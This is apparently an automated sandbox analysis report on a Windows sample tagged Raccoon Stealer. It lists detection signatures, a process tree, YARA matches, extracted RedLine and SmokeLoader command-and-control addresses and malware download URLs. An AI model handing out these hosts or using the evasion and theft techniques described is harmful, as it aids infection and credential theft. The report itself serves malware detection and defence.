Play interactive tour

Edit tour

Windows Analysis Report Md0q201V1D.exe

Overview

General Information

Sample Name:	Md0q201V1D.exe
Analysis ID:	511702
MD5:	a0bc297d8eaad37f1b145d108786e993
SHA1:	ac6858536f64ec7113f1cd10b248430da8510db8
SHA256:	b06b803c1a654849e7b0310b0b590ca574568ab9eba41858e8caaff5dbbeacba
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

Raccoon RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Vidar

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Found malware configuration

Yara detected UAC Bypass using CMSTP

DLL reload attack detected

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Sample uses process hollowing technique

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

PE file does not import any functions

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Md0q201V1D.exe (PID: 6304 cmdline: 'C:\Users\user\Desktop\Md0q201V1D.exe' MD5: A0BC297D8EAAD37F1B145D108786E993)

Md0q201V1D.exe (PID: 5724 cmdline: 'C:\Users\user\Desktop\Md0q201V1D.exe' MD5: A0BC297D8EAAD37F1B145D108786E993)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

21.exe (PID: 2132 cmdline: C:\Users\user\AppData\Local\Temp\21.exe MD5: A0BC297D8EAAD37F1B145D108786E993)

21.exe (PID: 808 cmdline: C:\Users\user\AppData\Local\Temp\21.exe MD5: A0BC297D8EAAD37F1B145D108786E993)

B096.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\B096.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

aspnet_state.exe (PID: 4772 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe MD5: 3269806DC450E24113CF4FE03C3AD197)

chrome.exe (PID: 6016 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6128 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,3532224147046022434,3796046305070752020,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1756 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1472 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3732 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1512,11815571981665026670,16401458370521835106,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1896 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

ServiceModelReg.exe (PID: 7320 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe MD5: FFF587A66B8D5A50A055B9CD6D632BEB)

chrome.exe (PID: 8084 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6240 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13203243795606022941,14762146736583605753,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1928 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5744 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0' MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7992 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,11199746608983669523,6532242252009539287,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

BBE1.exe (PID: 4756 cmdline: C:\Users\user\AppData\Local\Temp\BBE1.exe MD5: 787AF677D0C317E8062B9705CB64F951)

CBF0.exe (PID: 6000 cmdline: C:\Users\user\AppData\Local\Temp\CBF0.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

DF3A.exe (PID: 5464 cmdline: C:\Users\user\AppData\Local\Temp\DF3A.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

DF3A.exe (PID: 6180 cmdline: C:\Users\user\AppData\Local\Temp\DF3A.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

EBBE.exe (PID: 1140 cmdline: C:\Users\user\AppData\Local\Temp\EBBE.exe MD5: 539C39A9565CD4B120E5EB121E45C3C2)

C066.exe (PID: 5604 cmdline: C:\Users\user\AppData\Local\Temp\C066.exe MD5: F0BE69176E592FA1A6345A7090A9EA30)

gbhudtb (PID: 7044 cmdline: C:\Users\user\AppData\Roaming\gbhudtb MD5: A0BC297D8EAAD37F1B145D108786E993)

gbhudtb (PID: 3016 cmdline: C:\Users\user\AppData\Roaming\gbhudtb MD5: A0BC297D8EAAD37F1B145D108786E993)

gbhudtb (PID: 5332 cmdline: C:\Users\user\AppData\Roaming\gbhudtb MD5: A0BC297D8EAAD37F1B145D108786E993)

gbhudtb (PID: 3796 cmdline: C:\Users\user\AppData\Roaming\gbhudtb MD5: A0BC297D8EAAD37F1B145D108786E993)

bhhudtb (PID: 8080 cmdline: C:\Users\user\AppData\Roaming\bhhudtb MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.9.20.149:10844"], "Bot Id": ""}

Threatname: SmokeLoader

{"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\DF3A.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\B096.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\DEDC.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7ae95:$x1: https://cdn.discordapp.com/attachments/ 0x7af49:$x1: https://cdn.discordapp.com/attachments/ 0x7affd:$x1: https://cdn.discordapp.com/attachments/ 0x7b0b1:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\BBE1.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\D8D0.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\FD36.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7afd7:$x1: https://cdn.discordapp.com/attachments/
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
0000000A.00000000.326584645.0000000004DE1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.400930179.0000000002061000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.488918061.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000003.438106147.0000000003080000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.449845582.0000000000561000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.507631653.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.480873861.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.438304869.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.439894383.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000001E.00000000.440496476.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.449446646.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.338103224.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.488076798.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.483001107.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.481901309.00000000048F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.466743057.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.484896100.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.453324146.00000000031C1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000002.520563950.0000000006381000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000027.00000000.487377447.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.453199313.0000000003090000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.338316447.0000000001F91000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000002.519980779.0000000005F90000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.480747015.0000000002D30000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: B096.exe PID: 6404	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: B096.exe PID: 6404	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: DF3A.exe PID: 5464	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: C066.exe PID: 5604	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
29.3.CBF0.exe.3080000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.ed0000.11.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
31.0.DF3A.exe.a40000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.B096.exe.a00000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.2.B096.exe.a00000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
40.0.ServiceModelReg.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.DF3A.exe.ed0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
40.0.ServiceModelReg.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.21.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.ServiceModelReg.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.1.gbhudtb.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.CBF0.exe.3070e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.ed0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
39.0.DF3A.exe.ed0000.13.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
39.0.DF3A.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.CBF0.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.1.Md0q201V1D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.3.C066.exe.4960000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
31.0.DF3A.exe.a40000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
3.2.Md0q201V1D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.ed0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.2.B096.exe.653a840.5.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.gbhudtb.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.ed0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
39.0.DF3A.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
31.0.DF3A.exe.a40000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
40.0.ServiceModelReg.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.2.21.exe.2cc15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.Md0q201V1D.exe.2d815a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.ServiceModelReg.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B096.exe.a00000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
30.2.aspnet_state.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.1.21.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.2.gbhudtb.2cb15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.B096.exe.653a840.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
39.0.DF3A.exe.ed0000.9.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.BBE1.exe.790000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
24.2.B096.exe.5f90000.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
20.2.gbhudtb.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.B096.exe.4426e00.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B096.exe.4446e20.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.DF3A.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.aspnet_state.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.2.gbhudtb.2be15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.0.aspnet_state.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.0.BBE1.exe.790000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
40.2.ServiceModelReg.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.0.BBE1.exe.790000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
30.0.aspnet_state.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.0.DF3A.exe.ed0000.5.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
19.0.21.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.1.gbhudtb.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.DF3A.exe.ed0000.7.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
19.0.21.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.DF3A.exe.a40000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.BBE1.exe.790000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
24.0.B096.exe.a00000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.2.B096.exe.5f90000.4.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
19.0.21.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.0.aspnet_state.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B096.exe.4446e20.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.aspnet_state.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
35.3.C066.exe.4960000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.0.B096.exe.a00000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
39.0.DF3A.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B096.exe.4426e00.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 62 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.C066.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.C066.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C066.exe PID: 5604, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://xacokuo8.top/	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}
Source: 24.2.B096.exe.4446e20.2.raw.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["45.9.20.149:10844"], "Bot Id": ""}

Multi AV Scanner detection for domain / URL

Show sources

Source: http://sysaheu90.top/game.exe

Virustotal: Detection: 16%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	ReversingLabs: Detection: 22%
Source: C:\Users\user\AppData\Local\Temp\CAC5.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\CD17.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\D8D0.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	ReversingLabs: Detection: 42%

Machine Learning detection for sample

Show sources

Source: Md0q201V1D.exe

Joe Sandbox ML: detected

Source: 19.0.21.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 19.0.21.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
